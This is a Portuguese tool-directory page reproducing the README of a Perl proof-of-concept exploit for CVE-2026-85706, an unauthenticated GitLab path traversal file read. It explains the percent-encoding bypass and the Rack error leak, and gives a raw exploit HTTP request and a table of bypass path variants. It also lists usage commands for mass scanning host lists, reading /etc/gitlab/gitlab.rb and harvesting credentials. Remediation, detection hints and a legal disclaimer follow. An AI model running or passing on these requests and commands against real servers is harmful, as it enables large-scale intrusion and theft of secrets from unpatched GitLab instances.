Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-85706 — Perl PoC exploiting CVE-2026-85706, an unauthenticated GitLab path traversal enabling arbitrary file read, with bulk scanning and credential harvesting. | Kitploit
Ferramentas/GitHubGitHub/gabrielunknown/cve-2026-85706
Vulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationInformation GatheringWeb SecurityPenetration TestingRed Teaming
GitHubgabrielunknown/cve-2026-85706

CVE-2026-85706

Perl PoC exploiting CVE-2026-85706, an unauthenticated GitLab path traversal enabling arbitrary file read, with bulk scanning and credential harvesting.

há 8h 39mAinda não revisado
Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-85706 — GitLab: Leitura Arbitrária de Arquivos Sem Autenticação

CVSS GitLab Uso MITRE

Exclusivamente para testes de penetração autorizados e operações de Red Team.
O uso não autorizado é crime. Veja o Aviso Legal.


Visão Geral

A CVE-2026-85706 é uma vulnerabilidade de path traversal com CVSS 10.0 nas edições Community e Enterprise do GitLab que permite a um atacante completamente não autenticado ler arquivos arbitrários do sistema de arquivos do servidor com uma única requisição HTTP. Nenhuma credencial, token ou interação do usuário é necessária.

  • Divulgação: 10 de setembro de 2026
  • Primeira exploração ativa observada: 11 de setembro de 2026 (dentro de 6 horas da divulgação)
  • Adicionado ao KEV da CISA: 11 de setembro de 2026
  • Corrigido em: GitLab 19.1.8 / 19.2.6 / 19.3.2

  • Versões Afetadas

    BranchFaixa VulnerávelCorrigido Em
    18.x18.7 → 19.1.719.1.8
    19.219.2.0 → 19.2.519.2.6
    19.319.3.0 → 19.3.119.3.2

    Análise Técnica

    Contexto da Arquitetura

    O GitLab opera com três camadas de processamento HTTP:

    root@kitploit:~
    Internet → [Nginx] → [Workhorse (Go)] → [Puma (Ruby/Rack)] → [Rails/Grape API]
    

    O Workhorse é um proxy reverso inteligente: para certos endpoints de "upload" (commits de repositório, operações em arquivos), ele lê o corpo da requisição multipart, salva os dados em disco e reescreve a requisição antes de encaminhá-la ao Puma. Crucialmente, ele anexa um cabeçalho JWT (Gitlab-Workhorse-Api-Request) a cada requisição que intermedia. O Rails então valida esse JWT (via require_gitlab_workhorse!) antes de executar qualquer lógica do handler.

    Causa Raiz — Incompatibilidade de Decodificação de Caminho entre 3 Camadas

    Camada 1 — Correspondência de rotas no Workhorse:
    O Workhorse combina caminhos de requisição usando uma regex compilada que opera sobre a string de bytes bruta, codificada em percent-encoding. Ele não decodifica sequências %XX antes de fazer a correspondência.

    Camada 2 — Roteamento Puma/Rack:
    O Puma decodifica sequências %XX antes do Grape rotear a requisição. Portanto, uma requisição para /repository/%63ommits é decodificada para /repository/commits e roteada para CommitsController.

    Camada 3 — Leitura de arquivo pré-autenticação:
    Uma vez no handler do Rails (alcançado sem o JWT do Workhorse, pois o Workhorse nunca correspondeu à requisição), o handler lê params[:file][:path] da query string e chama:

    root@kitploit:~
    File.open(params[:file][:path])   # ← acontece ANTES da autenticação
    

    O Truque do Bypass

    Ao codificar em percent-encoding um único caractere em um segmento estático do caminho, a requisição do atacante passa despercebida pelo Workhorse:

    SegmentoOriginalForma de BypassChar Codificado
    commitscommits%63ommitsc → %63
    commitscommits%43ommitsC → %43
    repositoryrepository%72epositoryr → %72
    filesfiles%66ilesf → %66
    (qualquer)commitscommits/barra final
    (qualquer)commitscommits.jsonsufixo Grape

    Mecanismo de Exfiltração de Conteúdo

    Após o arquivo ser aberto, o conteúdo é exfiltrado via o parser de query string do Rack:

    root@kitploit:~
    Rack::Utils.parse_nested_query(File.read(path))
    

    Se o arquivo contém um % não seguido de dois dígitos hexadecimais válidos (comum em arquivos de configuração Ruby, YAML de CI, logs, etc.), o Rack lança:

    root@kitploit:~
    InvalidParameterError: Invalid parameter: invalid %-encoding (<BYTES_DO_ARQUIVO>)
    

    Esse corpo de resposta 400 contém os bytes brutos do arquivo até o byte ofensivo — revelando o conteúdo do arquivo ao chamador não autenticado.

    Arquivos sem sequências % exploráveis (ex.: /etc/passwd limpo) retornam um 401 ou erro de validação de parâmetro após a leitura: isso age como um oráculo de existência de arquivo (a leitura ainda aconteceu pré-autenticação).

    Estrutura da Requisição de Exploit

    root@kitploit:~
    POST /api/v4/projects/1/repository/%63ommits?file=&file.path=%2Fetc%2Fpasswd&file.size=1&Content-Type=application%2Fx-www-form-urlencoded HTTP/1.1
    Host: gitlab.corp.com
    User-Agent: cve-2026-85706-perl-poc/1.0.0
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 0
    

    Mapeamento MITRE ATT&CK

    TécnicaIDImplementação neste PoC
    Descoberta de Arquivos e DiretóriosT1083Modo --scan verifica 38 caminhos sensíveis no servidor
    Credenciais em ArquivosT1552.001--harvest extrai chaves/tokens/senhas do conteúdo vazado

    Instalação

    Dependências

    MóduloPacoteFunção
    LWP::UserAgentlibwww-perlCliente HTTP (obrigatório)
    LWP::Protocol::httpslibwww-perlSuporte HTTPS (obrigatório)
    URI::Escapeliburi-perlCodificação de query string (obrigatório)
    Term::ANSIColorlibterm-ansicolor-perlSaída colorida (opcional)
    JSONlibjson-perlModo de saída JSON (opcional)
    root@kitploit:~
    # Debian/Ubuntu
    apt install libwww-perl liburi-perl libterm-ansicolor-perl libjson-perl
    
    # RHEL/Fedora
    sudo yum install perl-libwww-perl perl-URI perl-Term-ANSIColor perl-JSON
    
    # CPAN
    cpan LWP::UserAgent LWP::Protocol::https Term::ANSIColor JSON
    
    # Tornar executável
    chmod +x exploit.pl
    

    Uso

    root@kitploit:~
    Uso: exploit.pl [OPÇÕES]
    
    Alvo:
      -u, --url <URL>            URL base do GitLab          [padrão: http://localhost:8080]
      -p, --project-id <ID>      ID numérico ou namespace%2Fprojeto  [padrão: 1]
                                  Forms Commits API: projeto precisa ser anonimamente acessível
                                  Forms Files API:   qualquer valor funciona (leitura precede auth)
    
    Verificação de exploitabilidade:
      -c, --check                Verificação de exploitabilidade em alvo único (rápida por padrão — ≤9 requests)
          --full                 Eleva para varredura completa 4 estágios (27+ probes, todos os 22 forms)
      -L, --check-host-list <ARQUIVO>  Verifica múltiplos alvos (uma URL/host por linha)
                                 Adicione --full para varredura 4 estágios em cada host
    
    Leitura de arquivo único:
      -f, --file <CAMINHO>       Caminho absoluto no servidor (ex.: /etc/passwd)
    
    Modo scan (T1083 — Descoberta de Arquivos e Diretórios):
      -s, --scan                 Verifica wordlist embutida de arquivos sensíveis (38 caminhos)
      -w, --wordlist <ARQUIVO>   Usa lista personalizada (um caminho absoluto por linha)
      -H, --harvest              Extrai credenciais do conteúdo vazado (T1552.001)
    
    Saída:
      -o, --output <ARQUIVO>     Salva toda a saída em arquivo (tee)
      -j, --json                 Emite resultados como array JSON (requer JSON.pm)
      -v, --verbose              Exibe URL completa antes de cada sonda
          --no-color             Desativa saída colorida ANSI
    
    Conexão:
      -t, --timeout <N>          Timeout por requisição em segundos  [padrão: 15]
      -d, --delay <N>            Pausa entre requisições em segundos (float)  [padrão: 0]
      -r, --retries <N>          Tentativas em caso de erro de conexão  [padrão: 2]
      -A, --user-agent <STR>     Sobrescreve o User-Agent
    

    Modo rápido vs. completo

    Rápido (padrão)Completo (--full)
    Requests≤9 (1 preflight + ≤4×2)27+
    Saída antecipadaSim — para no 1º differential confirmadoNão — varre todos os 22 forms
    Versão do GitLabNãoSim
    Forms testados4 representativos (Files API)Todos os 22 (Commits + Files API)
    Melhor paraRecon rápido, listas grandes de hostsRelatórios de pentest, prep para --file/--scan

    Pipeline do modo rápido:

    1. GET /api/v4/version — acessibilidade + detecção de GitLab
    2. Para cada um dos 4 forms Files API: probe em /etc/hostname + canary único
    3. canary → 'local file not present' ∧ hostname ≠ canary → VULNERÁVEL (sai imediatamente)
    4. Todos os forms esgotados sem differential → NÃO VULNERÁVEL

    Pipeline completo (--full):

    1. Detecção do GitLab + fingerprinting de versão
    2. Probe de controle (baseline do Workhorse)
    3. Todos os 22 forms × caminho canary
    4. Confirmação differential com o melhor form confirmado

    --project-id nos modos de verificação

    A flag --project-id funciona em todos os modos, incluindo --check e --check-host-list. A interação é a seguinte:

    Grupo de bypassFormsDependência do project ID
    Files API (%66iles, %46iles, re%70ository/files, …)14Nenhuma — a leitura de arquivo precede a verificação de projeto por design da CVE. Qualquer ID (mesmo inexistente) produz o sinal correto.
    Commits API (%63ommits, %43ommits, repository/commits/, …)8Obrigatória — projeto deve existir e ser anonimamente acessível. Retorna project-gate caso contrário.

    Orientação prática:

    • --check (rápido): usa apenas forms Files API → project ID irrelevante.
    • --check --full: testa todos os 22 forms. Se souber um projeto público, passe --project-id <N> para confirmar também os forms Commits API.
    • --check-host-list: um único ID raramente corresponde a um projeto público em todos os hosts. Omita.

    Exemplos Práticos

    root@kitploit:~
    # Verificação rápida — ≤9 requests, veredito binário
    ./exploit.pl -u https://gitlab.corp.com --check
    
    # Verificação rápida com projeto público conhecido
    ./exploit.pl -u https://gitlab.corp.com --check --project-id 5  # (padrão: --project-id 1)
    
    # Verificação completa 4 estágios — versão + todos os 22 forms enumerados
    ./exploit.pl -u https://gitlab.corp.com --check --full
    
    # Varredura rápida de lista de hosts (≤9 probes por host)
    ./exploit.pl --check-host-list targets.txt
    
    # Varredura completa de lista de hosts (versão na tabela de resumo)
    ./exploit.pl --check-host-list targets.txt --full
    
    # Lista de hosts, saída JSON para integração em pipeline
    ./exploit.pl --check-host-list targets.txt --json --output resultados.json
    
    # Lista de hosts com delay de 2s e relatório salvo
    ./exploit.pl --check-host-list targets.txt --delay 2 --output relatorio.txt
    
    # Ler um único arquivo
    ./exploit.pl -u https://gitlab.corp.com -f /etc/passwd
    
    # Ler configuração principal do GitLab e extrair credenciais
    ./exploit.pl -u https://gitlab.corp.com -f /etc/gitlab/gitlab.rb --harvest
    
    # Varredura completa com harvesting de credenciais e log em arquivo
    ./exploit.pl -u https://gitlab.corp.com --scan --harvest -o resultados-pentest.txt
    
    # Wordlist personalizada, saída JSON, 1 segundo de delay entre requisições
    ./exploit.pl -u https://gitlab.corp.com -w caminhos.txt --harvest --delay 1 --json
    
    # Leitura verbose de arquivo único (exibe URLs completas das requisições)
    ./exploit.pl -u https://gitlab.corp.com -f /etc/gitlab/gitlab.rb -v
    

    Significado dos Vereditos

    VereditoSignificado
    leakConteúdo do arquivo exposto no corpo da resposta via erro de parse do Rack
    leak-fragmentEcho parcial via fragmento de nome de parâmetro
    read-noechoHTTP 401 no bypass path — ambíguo: ou arquivo foi lido pré-auth (servidor vulnerável, conteúdo sem sequência % inválida), ou auth disparou antes da leitura (servidor patchado). Use --check para confirmar via análise diferencial
    missingCaminho de bypass funcionou; handler alcançado; arquivo ausente ou ilegível
    rewriteWorkhorse interceptou esta variante — bypass falhou
    project-gateCommits API rejeitou o projeto; tente as variantes Files API
    norouteRails não roteou esta variante de caminho

    Melhorias em Relação ao PoC Python Original

    FuncionalidadePoC PythonEste PoC Perl
    Variantes de bypass de caminho615
    Varredura em massa de arquivos (T1083)✗✓ Wordlist embutida com 38 caminhos
    Harvesting de credenciais (T1552.001)✗✓ 22 padrões de credenciais
    Saída JSON✗✓ --json
    Log em arquivo / tee✗✓ --output
    Mensagens de oráculo de existênciaBásicoExplícito, com código de cores
    Lógica de retry✗✓ --retries configurável
    Delay entre requisições✗✓ --delay (float em segundos)
    User-Agent customizável✗✓ --user-agent
    IDs namespace/projeto✗✓ Auto-codifica / → %2F
    Modo verbose✗✓ --verbose

    Remediação

    1. Aplicar o patch imediatamente: Atualizar para GitLab 19.1.8, 19.2.6 ou 19.3.2.
    2. Mitigação imediata: Restringir o acesso público à instância GitLab via controles de rede.
    3. Rotação de credenciais: Após o patch, rotacionar todos os segredos que possam ter sido expostos:
      • secret_key_base e otp_key_base em gitlab.rb
      • Senhas de banco de dados
      • Chaves SSH (/home/git/.ssh/, /root/.ssh/)
      • Variáveis CI/CD e tokens de registro de runner
      • Deploy tokens e personal access tokens

    Detecção

    Buscar nos logs requisições POST ou PUT para caminhos /api/v4/projects/*/repository/ contendo:

    • Segmentos estáticos codificados em percent (%63, %43, %72, %70, %66, %46, etc.)
    • Parâmetro de query file.path
    • Barra final ou sufixo .json nos endpoints commits ou files

    Referências

    • Registro CVE — cve.org
    • GitLab Patch Release 19.3.2
    • The Hacker News — Cobertura CVSS 10
    • Forkast News — Análise técnica detalhada
    • Security Affairs — Exploração ativa
    • PoC Python — guneykabel
    • MITRE T1083 — Descoberta de Arquivos e Diretórios
    • MITRE T1552.001 — Credenciais em Arquivos

    Aviso Legal

    Esta ferramenta é disponibilizada estritamente para:

    • Engagements de teste de penetração autorizados (autorização escrita obrigatória)
    • Operações de Red Team dentro do escopo contratado
    • Pesquisa de segurança em ambientes de laboratório controlados e isolados
    • Competições CTF (Capture The Flag)
    • Fins defensivos: compreender a vulnerabilidade para detectá-la/mitigá-la

    O uso não autorizado contra sistemas que você não possui ou para os quais não tem autorização escrita explícita para testar é ilegal em praticamente todas as jurisdições e pode resultar em processo criminal conforme leis de crimes de informática (Lei nº 12.737/2012 — "Lei Carolina Dieckmann", LGPD, CFAA, Computer Misuse Act, etc.).

    O autor e contribuidores desta ferramenta não assumem qualquer responsabilidade por uso indevido ou danos causados por este software.


    Créditos

    • PoC Python original: guneykabel — prova de conceito inicial que demonstrou a técnica central de bypass
    • Atribuição CVE e divulgação: Time de Segurança do GitLab
    • Este PoC Perl: Motor de detecção multi-form expandido, extração de credenciais, varredura em massa, saída JSON para pipelines e lógica de confirmação diferencial
    Baixar ferramenta